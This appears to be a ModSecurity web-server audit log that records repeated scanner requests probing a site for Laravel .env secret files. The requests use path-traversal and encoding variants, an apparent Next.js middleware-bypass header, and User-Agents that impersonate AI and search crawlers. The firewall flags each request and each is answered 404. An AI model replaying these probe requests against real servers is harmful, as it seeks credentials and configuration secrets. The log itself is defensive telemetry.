Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9e2c8e49-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9e2c8e49-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoO0wu1RSkptiiNIX4DgAAAIA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555035245 268250 (- - -)
Stopwatch2: 1789290555035245 268250; combined=4936, p1=238, p2=4648, p3=0, p4=0, p5=49, sr=80, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9e2c8e49-Z--
--1be0594f-A--
[13/Sep/2026:12:09:15.329445 +0300] aqZoO2M7dE9KgIIOpQhz-QAAANI 34.73.246.242 37802 127.0.0.1 7081
--1be0594f-B--
GET /static../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--1be0594f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1be0594f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/static../.env"] [unique_id "aqZoO2M7dE9KgIIOpQhz-QAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555065145 264362 (- - -)
Stopwatch2: 1789290555065145 264362; combined=5162, p1=240, p2=4872, p3=0, p4=0, p5=49, sr=76, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1be0594f-Z--
--6d02986f-A--
[13/Sep/2026:12:09:15.339972 +0300] aqZoOzTJ6xTvcJoem7f6awAAAEE 34.73.246.242 37824 127.0.0.1 7081
--6d02986f-B--
GET /static//.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6d02986f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6d02986f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/static/.env"] [unique_id "aqZoOzTJ6xTvcJoem7f6awAAAEE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555148138 191896 (- - -)
Stopwatch2: 1789290555148138 191896; combined=4323, p1=200, p2=4075, p3=0, p4=0, p5=48, sr=69, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6d02986f-Z--
--febea21d-A--
[13/Sep/2026:12:09:15.345743 +0300] aqZoO2M7dE9KgIIOpQhz-gAAANA 34.73.246.242 37806 127.0.0.1 7081
--febea21d-B--
GET /media../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--febea21d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--febea21d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/media../.env"] [unique_id "aqZoO2M7dE9KgIIOpQhz-gAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555094960 250845 (- - -)
Stopwatch2: 1789290555094960 250845; combined=15444, p1=208, p2=15180, p3=0, p4=0, p5=56, sr=70, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--febea21d-Z--
--917be361-A--
[13/Sep/2026:12:09:15.518948 +0300] aqZoO0wu1RSkptiiNIX4EAAAAIg 34.73.246.242 37850 127.0.0.1 7081
--917be361-B--
GET /static//home/user/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--917be361-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--917be361-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/static/home/user/.env"] [unique_id "aqZoO0wu1RSkptiiNIX4EAAAAIg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555452669 66342 (- - -)
Stopwatch2: 1789290555452669 66342; combined=4197, p1=227, p2=3918, p3=0, p4=0, p5=52, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--917be361-Z--
--875f4639-A--
[13/Sep/2026:12:09:15.596968 +0300] aqZoO0wu1RSkptiiNIX4EQAAAJc 34.73.246.242 55956 127.0.0.1 7081
--875f4639-B--
GET /.//.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--875f4639-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--875f4639-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoO0wu1RSkptiiNIX4EQAAAJc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555522229 74802 (- - -)
Stopwatch2: 1789290555522229 74802; combined=4383, p1=260, p2=4067, p3=0, p4=0, p5=55, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--875f4639-Z--
--fb08cd5d-A--
[13/Sep/2026:12:09:15.618560 +0300] aqZoOysVWymXUono-eRUwgAAAAc 34.73.246.242 37864 127.0.0.1 7081
--fb08cd5d-B--
GET //.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--fb08cd5d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--fb08cd5d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoOysVWymXUono-eRUwgAAAAc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555505578 113067 (- - -)
Stopwatch2: 1789290555505578 113067; combined=6607, p1=1363, p2=5191, p3=0, p4=0, p5=52, sr=159, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fb08cd5d-Z--
--0636856a-A--
[13/Sep/2026:12:09:15.650145 +0300] aqZoOysVWymXUono-eRUwwAAAAg 34.73.246.242 55972 127.0.0.1 7081
--0636856a-B--
GET /api/.env/public/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0636856a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0636856a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/api/.env/public/.env"] [unique_id "aqZoOysVWymXUono-eRUwwAAAAg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555573496 76711 (- - -)
Stopwatch2: 1789290555573496 76711; combined=4333, p1=253, p2=4028, p3=0, p4=0, p5=51, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0636856a-Z--
--78c4887c-A--
[13/Sep/2026:12:09:15.652226 +0300] aqZoO2M7dE9KgIIOpQh0AAAAANY 34.73.246.242 55960 127.0.0.1 7081
--78c4887c-B--
GET /%2eenv HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--78c4887c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--78c4887c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoO2M7dE9KgIIOpQh0AAAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555567086 85199 (- - -)
Stopwatch2: 1789290555567086 85199; combined=4253, p1=254, p2=3961, p3=0, p4=0, p5=38, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--78c4887c-Z--
--c773fe05-A--
[13/Sep/2026:12:09:15.939702 +0300] aqZoO2M7dE9KgIIOpQh0AQAAAM4 34.73.246.242 55984 127.0.0.1 7081
--c773fe05-B--
GET /assets../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c773fe05-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c773fe05-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/assets../.env"] [unique_id "aqZoO2M7dE9KgIIOpQh0AQAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555754349 185416 (- - -)
Stopwatch2: 1789290555754349 185416; combined=15328, p1=482, p2=14720, p3=0, p4=0, p5=126, sr=238, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c773fe05-Z--
--7aefd750-A--
[13/Sep/2026:12:09:15.990980 +0300] aqZoOzTJ6xTvcJoem7f6bAAAAFM 34.73.246.242 56000 127.0.0.1 7081
--7aefd750-B--
GET /images../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7aefd750-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7aefd750-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/images../.env"] [unique_id "aqZoOzTJ6xTvcJoem7f6bAAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555770199 220852 (- - -)
Stopwatch2: 1789290555770199 220852; combined=4574, p1=251, p2=4267, p3=0, p4=0, p5=56, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7aefd750-Z--
--bd4d8765-A--
[13/Sep/2026:12:09:16.017351 +0300] aqZoO2M7dE9KgIIOpQh0AgAAANQ 34.73.246.242 56004 127.0.0.1 7081
--bd4d8765-B--
GET /img../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--bd4d8765-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bd4d8765-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/img../.env"] [unique_id "aqZoO2M7dE9KgIIOpQh0AgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290555813111 204326 (- - -)
Stopwatch2: 1789290555813111 204326; combined=4761, p1=228, p2=4474, p3=0, p4=0, p5=58, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bd4d8765-Z--
--afff122b-A--
[13/Sep/2026:12:09:16.027481 +0300] aqZoO2M7dE9KgIIOpQh0AwAAAMk 34.73.246.242 56006 127.0.0.1 7081
--afff122b-B--
GET /uploads../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
